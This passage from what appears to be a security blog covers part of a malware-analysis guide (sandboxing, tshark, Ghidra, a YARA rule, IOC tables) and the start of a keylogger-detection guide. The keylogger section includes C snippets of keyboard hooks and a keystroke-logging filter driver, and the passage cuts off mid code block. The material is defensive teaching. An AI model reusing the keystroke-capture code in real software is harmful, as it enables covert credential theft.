section (>7.0):** The section is compressed or encrypted: the sample is packed. The actual malicious code is hidden and unpacked at runtime. Common packers: UPX, MPRESS, Themida, custom LZMA/APLIB. - **`.text` section with write permissions:** Legitimate code sections are read+execute only. A writable `.text` section suggests self-modifying code: the sample patches itself at runtime (anti-disassembly technique). - **Missing imports:** A sample with very few imports (especially suspicious: `LoadLibrary` and `GetProcAddress` only) is resolving all other imports dynamically at runtime to hide its actual capabilities from static analysis. - **Imports containing `CreateRemoteThread` + `VirtualAllocEx` + `WriteProcessMemory`:** This triad is the classic process injection signature. The sample will inject code into another process's memory space. --- ## Dynamic Analysis: Runtime Behavior Dynamic analysis means executing the sample in a controlled environment and observing what it does. You lose the safety of static analysis but gain ground truth about behavior. ### Automated Sandboxing For initial behavioral overview without setting up manual analysis: ``` Recommended public sandboxes: Any.Run (app.any.run): - Interactive sandbox — you can click through installer dialogs, observe process trees live - Free tier: public results, 60-second execution - Community: full execution time, task sharing - Reveals: process tree, network connections, registry changes, file drops, screenshots Triage (tria.ge): - Fast automated analysis with YARA and Suricata IDS integration - Extracts configuration from known malware families automatically - Free tier for researchers VirusTotal Sandbox: - Runs the sample across multiple sandbox environments simultaneously - Available for uploaded samples — view under "Behavior" tab Hybrid Analysis (hybrid-analysis.com): - Deep static + dynamic analysis - MITRE ATT&CK technique mapping - Free tier available Joe Sandbox (joesecurity.org): - Most comprehensive of the commercial options - Excellent evasion bypass capabilities - Paid only, but most thorough for evasive samples ``` Uploading samples to public sandboxes means the sample hash, indicators, and sometimes the full sample become accessible to all subscribers. For incident response involving a client breach, a sensitive engagement, or a government-classified environment, use a private sandbox or analyze manually. Public submission of a novel sample also tips off the malware authors that their implant has been discovered. ### Manual Dynamic Analysis When automated sandboxing isn't sufficient (evasive samples, custom malware, in-depth IOC extraction): ```bash # Pre-execution baseline (Flare-VM — Windows analysis machine) # 1. Run Autoruns — captures current persistence mechanisms # Save to baseline_autoruns.arn # 2. Run Procmon filter setup # Process Monitor → Filter → Add: # "Process Name" "is" "malware.exe" → Include # "Architecture" "is" "System" → Exclude (reduces noise from system processes) # Reset and clear existing events # 3. Start Wireshark capture # Interface: your host-only adapter # Filter: ip.dst != 192.168.100.1 (exclude INetSim traffic — focus on unusual connections) # Or just capture everything and filter after # Execute the sample (in an isolated terminal): .\malware.exe # Observe in real-time: # - Process Hacker: new processes spawning, memory injections, network connections # - Procmon: file system writes, registry modifications, network activity # - Wireshark: DNS queries (even to INetSim — the domain names reveal C2 infrastructure) ``` ```bash # Post-execution analysis: # 1. Process Hacker analysis # Check for: # - Suspicious processes spawning from malware.exe (cmd.exe, powershell.exe, rundll32.exe) # - Injected code in existing processes (Properties → Memory → look for executable regions without a mapped file) # - Network connections: which process is connecting where # - Strings in process memory (can recover decrypted C2 configs from memory) # 2. Procmon analysis # Filter: Process Name is malware.exe # Operations to focus on: # - WriteFile: what files are created or modified? # - RegSetValue: what registry keys are written (persistence)? # - Process Create: what child processes are launched? # - TCP Connect/UDP Send: what network connections were made? # 3. Wireshark analysis tshark -r malware_capture.pcap -Y "dns" -T fields -e dns.qry.name | sort -u # Extract all DNS queries — even failed ones reveal C2 domains tshark -r malware_capture.pcap -Y "http.request" -T fields \ -e http.host -e http.request.uri -e http.user_agent | sort -u # HTTP requests with User-Agent (C2 beacons often use distinctive UA strings) tshark -r malware_capture.pcap -Y "tls.handshake.type == 1" -T fields \ -e ip.dst -e tls.handshake.extensions_server_name # TLS ClientHello — reveals destination IPs and SNI (domain names in encrypted traffic) # 4. Compare Autoruns # Run Autoruns again — compare to baseline # New entries reveal persistence mechanisms: # HKCU\...\Run: malware installed itself as startup item # Scheduled Tasks: malware created a scheduled task # Services: malware installed itself as a Windows service ``` --- ## Code-Level Reverse Engineering When sandbox and dynamic analysis aren't enough: the sample is evasive, you need to understand the exact encryption algorithm, you need to write a decoder for the C2 protocol, or you're documenting a novel malware family: you need a disassembler. ### Ghidra Ghidra is the NSA-developed open-source reverse engineering framework. It disassembles binaries and attempts to decompile them back to C-like pseudocode. Free, capable, and now the industry standard for most analysts who aren't paying for IDA Pro. ```bash # Ghidra initial analysis # 1. Launch Ghidra # 2. New Project → Non-Shared Project # 3. File → Import File → select malware.exe # 4. Auto-Analysis → select all options → click Analyze # Analysis takes 1-5 minutes for most samples # Headless analysis for automation analyzeHeadless /tmp/ghidra_projects MalwareProject \ -import /path/to/malware.exe \ -postScript PrintStrings.java \ -scriptPath /opt/ghidra/Ghidra/Features/Base/ghidra_scripts ``` **What to focus on in Ghidra:** ``` 1. Entry Point (main function) Window: Functions → _entry or main Follow the control flow from entry — most malware starts with: - Anti-analysis checks (debugger detection, VM detection) - Decryption/unpacking routines - C2 initialization - Persistence setup 2. Suspicious Function Patterns Search → Search for Strings → your C2 domain → References Double-click any reference to jump to the function using that string 3. Import Analysis Symbol Table → filter "EXTERNAL" → look for Windows API calls Click an API name → Show References → see all call sites 4. Cryptography Identification Look for: byte arrays with high entropy (encryption keys, encrypted payloads) Functions with modular arithmetic (AES, ChaCha20 patterns) FLOSS output pointing to decryption functions 5. C2 Communication Search for: "HTTP/1.", "GET /", "POST /", "User-Agent" Follow references to find the function that builds C2 requests Look for base64 encoding/decoding routines near network calls ``` ```python # Ghidra Python script — extract all string references with function context # Run from Ghidra Script Manager (Window → Script Manager → New Script) from ghidra.program.model.symbol import SymbolType from ghidra.util.task import TaskMonitor program = getCurrentProgram() listing = program.getListing() refManager = program.getReferenceManager() print("=== String References with Context ===") for dataUnit in listing.getDefinedData(True): if str(dataUnit.getDataType()) == 'TerminatedCString' or \ str(dataUnit.getDataType()) == 'TerminatedUnicode': string_value = str(dataUnit.getValue()) if len(string_value) > 6: # filter short strings refs = list(refManager.getReferencesTo(dataUnit.getAddress())) if refs: func = getFunctionContaining(refs[0].getFromAddress()) func_name = func.getName() if func else "unknown" print(f"[{func_name}] {string_value}") ``` ### YARA Rule Development After analysis, YARA rules convert your findings into detection signatures that can scan file systems, memory dumps, and network traffic. ```yara // YARA rule for a hypothetical ransomware sample // Based on identified strings and behavioral patterns rule Ransomware_HypotheticalFamily { meta: description = "Detects HypotheticalFamily ransomware based on strings and imports" author = "analyst@yourcompany.com" date = "2026-03-27" hash = "sha256:abc123def456..." // SHA256 of analyzed sample mitre_attack = "T1486" // Data Encrypted for Impact strings: // C2 domain found in strings analysis $c2_domain = "update-service-cdn.org" ascii wide nocase // Mutex name — prevents double-execution on victim $mutex = "Global\\NightOwlMutex_" ascii wide // Ransom note filename $ransom_note = "HOW_TO_RECOVER.txt" ascii wide // API sequence suggesting process injection (could be loader component) $api_virtualalloc = "VirtualAllocEx" ascii $api_writepm = "WriteProcessMemory" ascii $api_createthread = "CreateRemoteThread" ascii // File extension being appended to encrypted files $ext = ".nlock" ascii wide // Bitcoin address pattern in ransom note template $btc = /bc1[a-zA-HJ-NP-Z0-9]{25,39}/ ascii condition: // File is a PE (MZ header) uint16(0) == 0x5A4D and ( // Either the C2 domain or mutex, plus the ransom note indicator ($c2_domain or $mutex) and $ransom_note ) or ( // Injection capability with encryption APIs suggests dropper all of ($api_*) ) } ``` ```bash # Test YARA rules against samples yara -r ransomware_rule.yar /path/to/samples/ yara -r ransomware_rule.yar suspicious.exe # Scan running processes in memory yara -r ransomware_rule.yar --pid 1234 # Scan a directory of memory dumps yara -r ransomware_rule.yar /tmp/memory_dumps/ # Update and download community YARA rules git clone https://github.com/InQuest/yara-rules git clone https://github.com/Neo23x0/signature-base # Florian Roth's signature-base is the most maintained community YARA collection ``` --- ## IOC Extraction and Documentation Thorough IOC extraction is the final deliverable of malware analysis. These indicators feed detection systems, threat intelligence platforms, and hunting queries. ```markdown # Malware Analysis Report — Sample IOCs ## File Indicators | Type | Value | Notes | |---|---|---| | SHA256 | abc123def456... | Original sample | | SHA256 | def789ghi012... | Dropped secondary payload | | Filename | svchost32.exe | Masquerades as Windows process | | Path | C:\Users\%USERNAME%\AppData\Roaming\Microsoft\svchost32.exe | Drop location | | File size | 286,720 bytes | | ## Network Indicators | Type | Value | Notes | |---|---|---| | C2 Domain | update-service-cdn.org | Primary C2 | | C2 Domain | analytics-tracker-v2.com | Secondary/fallback C2 | | C2 IP | 185.x.x.x | Resolved IP (may change) | | URI Pattern | /api/v2/telemetry?uid= | Beacon URI format | | User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | Custom beacon UA | | Beacon interval | ~300 seconds ± 30 second jitter | Observed in network capture | | Protocol | HTTPS on 443/tcp | TLS 1.2 | ## Host Indicators | Type | Value | Notes | |---|---|---| | Registry key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate | Persistence | | Registry value | C:\Users\%USERNAME%\AppData\Roaming\Microsoft\svchost32.exe | Persistence value | | Scheduled task | \Microsoft\Windows\WindowsUpdate\AuditPolicy | Persistence (task name) | | Mutex | Global\\NightOwlMutex_[GUID] | Prevents multiple instances | | Process | svchost32.exe | Masquerades as svchost | | Parent process | winlogon.exe (injected) | Process injection target | ## MITRE ATT&CK Techniques | Technique ID | Technique Name | Evidence | |---|---|---| | T1059.001 | PowerShell | Uses PowerShell for secondary payload download | | T1547.001 | Registry Run Keys / Startup Folder | HKCU Run key persistence | | T1055.001 | Dynamic-link Library Injection | Injects into winlogon.exe | | T1071.001 | Application Layer Protocol: Web Protocols | C2 over HTTPS | | T1486 | Data Encrypted for Impact | AES-256 file encryption | | T1490 | Inhibit System Recovery | Deletes VSS copies via vssadmin | | T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | RDTSC timing checks | ``` --- ## The analysis pyramid: match effort to the question Malware analysis is organised as a pyramid of techniques, each layer costing more time and skill while revealing more detail. The discipline is knowing which layer answers your actual question and stopping there. Triage sits at the base: hashing, a threat-intelligence lookup, and a quick strings pass, often finished in minutes. Static analysis is the next layer, examining the file's structure without running it. Automated sandboxing follows, executing the sample in someone else's instrumented environment for a fast behavioural summary. Manual dynamic analysis comes next, running the sample yourself with monitoring tools so you control the environment and can coax evasive samples into revealing themselves. Code-level reverse engineering sits at the apex, reading the disassembly and decompilation to understand the exact logic. The mistake beginners make is starting at the apex out of a belief that thoroughness means reading every instruction. Reverse engineering a full sample can take days, and most questions never require it. An incident responder who needs to block a live threat wants the command-and-control addresses and the persistence mechanism, which triage and a sandbox usually surface within the first half hour. A detection engineer wants durable indicators to write a rule against, which static analysis and a short dynamic run typically provide. Only a researcher documenting a novel family, or an analyst facing a deliberately evasive sample that defeats the automated tiers, needs to climb all the way to the disassembler. Deciding the objective before touching the sample keeps the effort proportionate and stops a two-hour triage from turning into a two-week rabbit hole. There is a second reason the ordering matters. Each layer informs the next. Strings and imports found statically tell you what behaviour to watch for dynamically. Behaviour seen in a sandbox tells you which functions to prioritise in the disassembler. Skipping the cheap layers to start reading assembly means reading it blind, without the map that the earlier layers draw. The pyramid is as much a sequence as a hierarchy, and following it in order is what makes deep analysis efficient when you do need it. ## Packing and unpacking, explained Packing is the single most common obstacle a static analyst meets, so it deserves a plain explanation. A packer takes an executable and compresses or encrypts its real code into a data blob, then wraps it in a small stub. When the packed program runs, the stub executes first, decompresses or decrypts the original code into memory, and transfers control to it. To a static tool the packed file looks almost empty of meaning: the import table is tiny, the strings are gone, and the code section is a high-entropy block that disassembles into nonsense, because it is compressed data rather than instructions. This is why entropy is such a useful triage signal. Ordinary compiled code has moderate entropy, since real instructions and text contain structure and repetition. Compressed or encrypted data approaches maximum entropy, because good compression and encryption produce output that looks random. A code section measuring above roughly 7.0 on the entropy scale is a strong sign the real payload is packed and will only appear once the sample runs and unpacks itself. Packing is not inherently malicious, since legitimate software uses packers to shrink binaries and protect intellectual property, but malware uses it heavily to defeat signature scanning and slow analysts down. Unpacking is the work of recovering the original code. Some packers are well known and have automated unpackers, so a single command restores the original file. Common commodity packers fall into this category. Custom and commercial protectors resist automated unpacking, and the general method then is dynamic: run the sample under a debugger, let the stub do the decryption for you, and pause execution at the moment control transfers to the freshly unpacked code. At that instant the real code sits in memory in the clear, and dumping the process memory captures it for static analysis. The point to grasp is that packing delays analysis, it does not prevent it, because the code has to become executable in memory eventually, and that is where the analyst catches it. An entropy reading above 7.0 tells you a section is compressed or encrypted, which usually means packing, but confirm before concluding. Resource sections holding embedded images or certificates also read high. Check whether it is the code section that is dense, whether the import table is suspiciously sparse, and whether known packer signatures are present, before deciding the sample is packed and reaching for a dynamic unpack. ## Process injection, the behaviour behind the import triad The import triad of VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread appears so often in these notes because process injection is one of the most common techniques modern malware uses, and understanding the behaviour makes the static signature meaningful. Injection is the act of running malicious code inside the memory space of another, usually legitimate, process. Doing so hides the malicious activity behind a trusted process name, lets the code inherit that process's privileges and network reputation, and evades tools that watch individual processes rather than memory. The classic remote-thread injection follows a small recipe. The malware opens a handle to a target process, allocates a region of memory inside it with VirtualAllocEx, writes its payload into that region with WriteProcessMemory, and then starts a thread in the target to execute the payload with CreateRemoteThread. Seeing those three imports together is why analysts flag the triad on sight: the sequence has few benign uses and maps directly to the injection recipe. In MITRE ATT&CK terms this is Process Injection, T1055, with sub-techniques for the specific variant. Variations exist and are worth recognising. Process hollowing creates a legitimate process in a suspended state, unmaps its real code, writes malicious code in its place, and resumes it, so a trusted image name runs entirely attacker-controlled code. The presence of NtUnmapViewOfSection alongside process-creation calls is a signature of hollowing. Other variants abuse asynchronous procedure calls or manipulate a thread's execution context to redirect it, and newer techniques avoid the most-watched calls entirely to stay quiet. The defensive takeaway is that injection shows up both statically, as a recognisable set of imports, and dynamically, as executable memory in a process that has no file backing it on disk. That second signal, an executable memory region in a running process with no mapped file, is one of the most reliable indicators of injection during live analysis. ## Command and control and beaconing Most malware that persists needs to reach its operator, and the channel it uses, its command and control, is one of the most valuable things an analysis produces, because blocking it cuts the operator off from every infected host. The behaviour to understand is beaconing: the implant periodically contacts its controller to report in and ask for instructions, rather than holding a constant connection that would stand out. A beacon typically fires on an interval with some random jitter added, so the timing does not form an obvious fixed pattern, then goes quiet between check-ins. The channel is usually chosen to blend into normal traffic. Web protocols are the common choice, because outbound web requests are ubiquitous and rarely blocked, so an implant beaconing over ordinary web ports hides in the noise of legitimate browsing and software updates. The requests often carry a distinctive user-agent string, a recognisable path structure, or encoded data in headers or the request body, and those quirks become excellent indicators. Some families use domain generation, computing a fresh list of candidate domains each day so defenders cannot simply block one fixed address, and others tunnel over DNS, smuggling data inside the names in lookup requests. Recognising these patterns during network analysis is what lets you extract the addresses, intervals, and request formats that feed detection. Capturing the channel is exactly why the isolated lab simulates the internet rather than blocking it outright. If the implant cannot reach anything, it may never reveal its beacon. By answering its requests with a simulated service, the lab lets the implant attempt its check-in, and the analyst records the domain it asked for, the interval it used, and the format of its message, even though no real controller ever replies. In MITRE ATT&CK terms this is the Command and Control tactic, and the web-protocol variant maps to T1071.001. ## Detection signals worth extracting The whole point of analysis is to produce durable indicators, and it helps to know which findings make good detection signals and which are fragile. A file hash is a precise indicator but a brittle one, because any change to the sample, even a single byte, produces a new hash, and malware is frequently repacked. Hashes are worth recording but they age quickly. A fuzzy hash, which measures similarity rather than exact identity, survives small changes and helps cluster variants of one family. More durable signals come from behaviour and structure. A mutex name, which malware often uses to avoid infecting the same host twice, is frequently unique to a family and stable across samples, making it an excellent indicator. Command-and-control domains and the structure of beacon requests, such as a distinctive path or user-agent, tend to persist across a campaign. Registry keys, dropped file paths, and scheduled-task names used for persistence recur across samples of the same family. The most durable signals of all are behavioural: the sequence of actions a family takes, expressed as MITRE ATT&CK techniques, which stays recognisable even when the operator changes hashes, domains, and packers. A detection built on stable behaviour outlives one built on a single hash, which is why mature detection engineering favours the higher, more abstract indicators even though they are harder to write. | Indicator type | Durability | Notes | |---|---|---| | File hash | Low | Precise but changes on any modification or repack | | Fuzzy hash | Medium | Survives small changes, clusters variants | | Mutex name | Medium to high | Often unique per family, stable across samples | | C2 domain and beacon format | Medium | Persists across a campaign, changes between them | | Persistence artifacts | Medium | Registry keys, paths, task names recur in a family | | Behavioural pattern | High | ATT&CK techniques survive repacking and re-hosting | ## Misconceptions that trip up beginners Several beliefs lead new analysts astray, and naming them saves time. The first is that a sandbox verdict is the whole story. An automated sandbox that reports nothing malicious has not proven the sample is safe. Evasive malware routinely detects the sandbox and stays dormant, so a clean automated run can mean the sample recognised the environment and declined to act. A quiet sandbox result on a suspicious file is a reason to analyse further, not a clearance. The second is that static and dynamic analysis are alternatives to choose between. They are complementary. Static analysis sees the whole file but not its runtime behaviour, including code that only appears after unpacking. Dynamic analysis sees real behaviour but only the paths that actually executed during the run, missing logic that waited for a trigger that never came. Thorough work uses both, letting each cover the other's blind spot. The third is that submitting any sample to a public service is a harmless default. Public submission can expose client infrastructure embedded in the sample and can alert the operator that their implant has been discovered, which matters during active incident response. Checking the engagement rules before uploading is part of professional practice, not an afterthought. The fourth is that finding the payload ends the job. A single sample is often one stage of a chain: a loader that fetches a second payload, which fetches a third. Stopping at the first stage can miss the actual objective. Following the chain, and documenting each stage, is what produces a complete picture and a complete set of indicators. The fifth is that a reused snapshot is as safe as a fresh one. Reverting the analysis virtual machine to a clean baseline between samples is not optional housekeeping. Residue from a previous sample, altered registry keys, dropped files, or lingering network state, can change how the next sample behaves and can quietly contaminate your findings. Take the clean snapshot before any analysis, and roll back to it before every new sample, so each run starts from the same known state. ## Recommended Analysis Workflow For each sample, in this order: ``` 1. INTAKE AND INTEL CHECK (5 minutes) ├── Compute SHA256 hash ├── Query VirusTotal — how many vendors detect it? Existing reports? ├── Query MalwareBazaar and Any.Run for existing analysis └── If well-known sample: read existing reports and proceed to targeted analysis 2. QUICK STATIC ANALYSIS (15 minutes) ├── strings + FLOSS → extract network indicators and API hints ├── pefile/PE-bear → check imports, sections, entropy └── Determine: is the sample packed? (entropy > 7.0 in code section) 3. AUTOMATED SANDBOX (20 minutes) ├── Submit to Any.Run for interactive analysis ├── Review: process tree, network activity, file drops, registry changes └── Extract: C2 domains/IPs, dropped file hashes, persistence mechanisms 4. MANUAL DYNAMIC ANALYSIS (60-90 minutes if sandbox insufficient) ├── Prepare Flare-VM + INetSim ├── Procmon + Wireshark + Process Hacker running before execution ├── Execute sample → observe and document behavior └── Run Autoruns diff to catch persistence 5. CODE-LEVEL ANALYSIS (hours to days for novel/evasive samples) ├── Load in Ghidra → auto-analyze ├── Find entry point → trace control flow ├── Identify: anti-analysis, decryption, C2 init, persistence └── Decode: encrypted config, C2 protocol, encryption key material 6. DOCUMENTATION AND DETECTION ├── Complete IOC table with all indicators ├── Write YARA rules for detection ├── Map techniques to MITRE ATT&CK └── Write report or threat intel brief ``` The depth you apply at each stage depends on the objective. An incident responder triaging an active breach may stop at stage 3 to get enough indicators to block the C2 and start remediation. A malware researcher producing a public threat intelligence report goes all the way through stage 6. Know your objective before you start, and go deep enough (but not deeper) than the situation requires. Reverse engineering rewards a broad base of fundamentals, so pair this practice with the foundational security reading collected in [the security canon](/the-security-canon). Mac-specific malware is real and Apple's built-in XProtect does not catch all of it. **[SecureMac MacScan 3](/ref/securemac)** is dedicated macOS anti-malware from a team that has been hunting Mac threats since 1999. *This links to the vendor's own page and earns us nothing today.* ### Sources - MITRE ATT&CK Framework (MITRE): https://attack.mitre.org - NIST Glossary: Malware (NIST): https://csrc.nist.gov/glossary/term/malware - OWASP Mobile Security Testing Guide: Malware Analysis (OWASP): https://owasp.org/www-project-mobile-security-testing-guide/ --- ## Keyloggers: How They Work and How to Detect Them > Keyloggers silently record every keystroke you type. Learn how software and hardware keyloggers work, how to detect them, and how to protect yourself. - URL: https://blog.pwnsy.com/keyloggers-detection-guide - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: beginner - Category: malware - Tags: keylogger, malware, spyware, detection, endpoint-security - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [The Cyber Kill Chain Explained: Seven Phases and Their Limits](https://blog.pwnsy.com/cyber-kill-chain-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Hardware keyloggers are invisible to every software-based detection tool, physical inspection of keyboard cables and USB ports is the only way to find them. - On Windows, run Autoruns as Administrator with VirusTotal checking enabled to catch API-level and kernel-level keyloggers via their persistence entries. - Finding a keylogger is a security incident: assume every password typed during the exposure window is compromised and rotate all credentials before removing the logger. - FIDO2 hardware security keys are the strongest defense: a keylogger capturing your PIN cannot reproduce the cryptographic assertion without the physical device. ### Key Takeaways - API-level keyloggers use legitimate Windows hooks such as SetWindowsHookEx with WH_KEYBOARD_LL and are the easiest to detect because they appear in process lists and Autoruns. - Kernel-level keyloggers install as drivers and can hide from user-space tools via Direct Kernel Object Manipulation, requiring driver-level analysis and Autoruns driver enumeration to find. - Form-grabbing keyloggers hook browser SSL functions to intercept POST data before encryption, which means they steal credentials even when a password manager autofills without any keystrokes. - Password manager autofill defeats API-level keyloggers because credentials are injected directly into form fields without generating keyboard input events. - DNS tunneling exfiltration encodes captured keystrokes as high-entropy subdomain labels in DNS queries, making it detectable through DNS anomaly monitoring rather than port blocking. ### FAQ **Q: How can I tell if a keylogger is installed on my computer?** On Windows, run Sysinternals Autoruns as Administrator with VirusTotal checking enabled and hide Microsoft entries, look for unsigned entries in unusual paths under the Drivers, Scheduled Tasks, and Services tabs. For hardware keyloggers, physically trace the keyboard cable from the keyboard to the computer and inspect for any inline device. **Q: Can antivirus software detect keyloggers?** Antivirus can detect known software keylogger signatures, but kernel-level keyloggers that use rootkit techniques may evade in-OS scans by hiding their presence. Hardware keyloggers are completely invisible to any software tool. An offline scan from clean external boot media is more reliable than an in-OS scan for kernel-level threats. **Q: What should I do if I find a keylogger on my device?** Treat it as a security incident. Determine when the keylogger was installed to establish the exposure window, then rotate every password, API key, SSH key, and token that was typed on that device during that period. Preserve the keylogger binary for forensic analysis before removal, and investigate how it was installed to identify the entry vector. **Q: Do hardware keyloggers require physical access to install?** Yes. Hardware keyloggers (inline USB or PS/2 devices that sit between the keyboard and computer) require an attacker to have brief physical access to the workstation to plug in the device. This makes them a physical security threat rather than a remote one, and detection requires visual inspection rather than software tools. **Q: Does using a password manager protect against keyloggers?** Password manager autofill defeats API-level keyloggers because credentials are injected into form fields without keyboard input events, so there are no keystrokes to capture. However, form-grabbing keyloggers hook browser functions to intercept POST data after autofill but before encryption, so they can still steal credentials. FIDO2 hardware keys provide stronger protection because the private key never leaves the device. In 2019, Pakistani authorities arrested a former government official after forensic analysis of his laptop revealed a keylogger installed by a foreign intelligence service. The device had been left unattended during a transit checkpoint. Every password, every email draft, every sensitive communication typed on that keyboard for an unknown period had been transmitted to an unknown destination. In 2022, a law firm in the UK discovered that a former employee had installed a keylogger on the firm's network file server before resigning. Six months of confidential client communications and partner credentials had been silently logged. The full scope of the breach required external forensic investigation to determine. Keyloggers are among the oldest and most effective forms of malware precisely because they operate beneath the application layer. Encryption, secure communications channels, and strong passwords are all bypassed when the keylogger captures input before the application receives it. What the user types is what the keylogger records, credentials, messages, search queries, banking PINs, anything that passes through the keyboard. This guide covers the technical mechanisms of software and hardware keyloggers, detection methods that work against each, and preventive controls that limit exposure. Looking for the right scanner or detection tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## Software vs. Hardware Keyloggers: The Fundamental Distinction The most important fact about hardware keyloggers: **no software-based detection tool can find them**. A hardware device installed between the keyboard and computer is invisible to the operating system. Task Manager, antivirus, EDR, network analysis: all of these operate at or above the OS level. A hardware logger sits below. Software keyloggers, by contrast, are detectable because they run within the OS environment and must interact with OS APIs or kernel interfaces to capture input. The detection methods differ entirely. ### Hardware Keylogger Types **PS/2 and USB inline loggers:** The simplest hardware keylogger is a small device that plugs into the keyboard port; the keyboard then plugs into the device. Available commercially for $15-100 (marketed for "parental monitoring" and "employee monitoring"). The operating system sees only a normal keyboard: the logger is transparent. Storage: These devices store keystroke logs internally (16MB-2GB flash storage). Retrieval requires physical access to download the logs, or in wireless variants, logs are transmitted via Bluetooth or proprietary RF to a nearby receiver. USB variants also capture USB traffic metadata, useful for detecting removable media insertion. **Acoustic keyloggers:** Different keys produce subtly different acoustic signatures: the click sound, the keyboard flex, the subtle variations in mechanical resonance. Cambridge researchers demonstrated in 2005 that keystrokes could be recovered from audio recordings with 96% accuracy per character. A more accessible 2011 study from UC Berkeley demonstrated similar results from smartphone accelerometer data placed near a keyboard. This is primarily a research and intelligence community technique. Practical deployment requires controlled conditions, significant processing, and post-collection analysis. **EM (electromagnetic) keyloggers:** Keyboards emit electromagnetic radiation as keypresses travel through the cable. Gendrullis et al. demonstrated at CCC 2008 that wired PS/2 keyboards could be eavesdropped from distances up to 20 meters using $500 of off-the-shelf equipment. Wireless keyboards operating on 27MHz RF (older Logitech/Microsoft models) transmit keystrokes unencrypted and are trivially interceptable. Modern Bluetooth keyboards use encrypted communications (Bluetooth Low Energy with pairing-time key exchange), which defeats passive EM eavesdropping, but not all wireless keyboards use Bluetooth. **Firmware-embedded keyloggers:** A modified keyboard firmware that logs internally, exfiltrating data via standard USB HID commands. Detection from within the OS is impossible: it appears as a normal keyboard to any OS-level tool. Detection requires firmware binary analysis or comparison with known-good firmware from the manufacturer. Nation-state implants have demonstrated keyboard firmware modification as a technique. For most threat models, this is below practical concern, but for high-security environments (government, defense, critical infrastructure), replacing keyboards periodically and verifying firmware integrity is standard practice. **Physical detection of hardware keyloggers:** ``` Inspection checklist for hardware keylogger detection: □ Power down the workstation before inspection (reduces risk of data wiping trigger) □ Trace the keyboard cable from keyboard to port on the computer Any device inline (between keyboard and computer) is suspect Exception: USB hubs, KVM switches — but these should be accounted for □ Examine both ends of the keyboard cable Hardware keyloggers typically add ~1-2 inches to the cable routing Some are very small (fingernail-sized); look at each end of the cable carefully □ Check USB ports on the computer itself Some loggers plug into a USB port directly with the keyboard cable extending from them Legitimate devices: USB hub, headset, webcam — document what should be there □ For desktop cases: inspect internal USB header connections A device connected to an internal USB header is harder to spot than an external connection Compare to baseline photos of the internal layout □ For high-security environments: - Photograph all peripheral connections monthly and compare - Seal chassis screws with tamper-evident epoxy or void stickers - Use port blockers on unused USB ports - Use keyboards with chassis lock that prevents disassembly ``` ## Software Keylogger Architecture Software keyloggers operate at different privilege levels, and the level determines both capability and detectability. ### API-Level Keyloggers (User Mode) Windows exposes legitimate APIs for global input monitoring, intended for accessibility software, input method editors, and screen readers: ```c // SetWindowsHookEx — installs a global keyboard hook // WH_KEYBOARD_LL: low-level keyboard hook, monitors all keystrokes HHOOK hHook = SetWindowsHookEx( WH_KEYBOARD_LL, // Hook type: low-level keyboard KeyboardProc, // Callback function NULL, // Module handle (NULL for all processes) 0 // Thread ID (0 = all threads) ); // The callback receives every keypress in every application LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT*)lParam; // pkbhs->vkCode contains the virtual key code // Log to file, transmit to C2, etc. LogKeystroke(pkbhs->vkCode, pkbhs->time); } return CallNextHookEx(hHook, nCode, wParam, lParam); } ``` ```c // GetAsyncKeyState — polling approach (less sophisticated) // Checks current state of each key while (running) { for (int key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) & 1) { // Key was pressed since last call LogKeypress(key); } } Sleep(10); // Poll every 10ms } ``` **Characteristics of API-level keyloggers:** - Run in user space (no admin/root required) - Appear as normal processes in Task Manager - Show up in Autoruns if they establish persistence - The keyboard hook (WH_KEYBOARD_LL) appears in the hook chain, enumerable - Most commercial spyware and low-sophistication RATs use this approach **Detection**: API-level keyloggers are the easiest to detect because they leave multiple artifacts at the process, registry, and hook levels. Sysinternals Autoruns and Process Explorer catch most of them. ### Kernel-Level Keyloggers (Ring 0) Kernel-level keyloggers operate as drivers, intercepting keystrokes at the Windows keyboard driver stack or Linux input subsystem before the OS processes them: ```c // Windows kernel driver (simplified conceptual representation) // KMDF filter driver for keyboard class driver NTSTATUS AddDevice(PDRIVER_OBJECT driverObject, PDEVICE_OBJECT physicalDeviceObject) { // Create filter device above keyboard class driver IoCreateDevice(driverObject, 0, NULL, FILE_DEVICE_KEYBOARD, 0, FALSE, &filterDevice); // Attach to keyboard device stack IoAttachDeviceToDeviceStack(filterDevice, physicalDeviceObject); // Now all keyboard IRPs pass through our filter driver first } // IRP_MJ_READ handler — keyboard read requests NTSTATUS KeyboardRead(PDEVICE_OBJECT deviceObject, PIRP irp) { // Set completion routine: called when keyboard driver completes the read IoSetCompletionRoutine(irp, KeyboardReadCompletion, NULL, TRUE, FALSE, FALSE); return IoCallDriver(lowerDevice, irp); // Pass IRP to keyboard driver } // Called when keyboard driver returns data NTSTATUS KeyboardReadCompletion(PDEVICE_OBJECT deviceObject, PIRP irp, PVOID context) { PKEYBOARD_INPUT_DATA keyData = (PKEYBOARD_INPUT_DATA)irp->AssociatedIrp.SystemBuffer; // keyData contains the keystrokes — log them before returning to OS LogKeystrokes(keyData, irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA)); return STATUS_SUCCESS; } ``` **Characteristics of kernel-level keyloggers:** - Require administrator/SYSTEM privileges to install - Can be hidden from user-space tools via DKOM (Direct Kernel Object Manipulation) - Capture all input including from processes that try to protect against user-space hooks - Survive process-level detection (no user-space process to find) - Modern protections (Driver Signature Enforcement, Secure Boot, HVCI) raise the installation bar - Still installed via stolen/purchased code signing certificates or after privilege escalation **Detection**: Kernel-level keyloggers require driver-level analysis. Autoruns (which enumerates kernel drivers) and comparing loaded driver lists against known baselines are the primary detection paths. ### Form-Grabbing Keyloggers Form grabbers are specialized for credential theft from web browsers. Instead of capturing raw keystrokes, they hook browser functions to intercept form submission data before encryption: ```c // 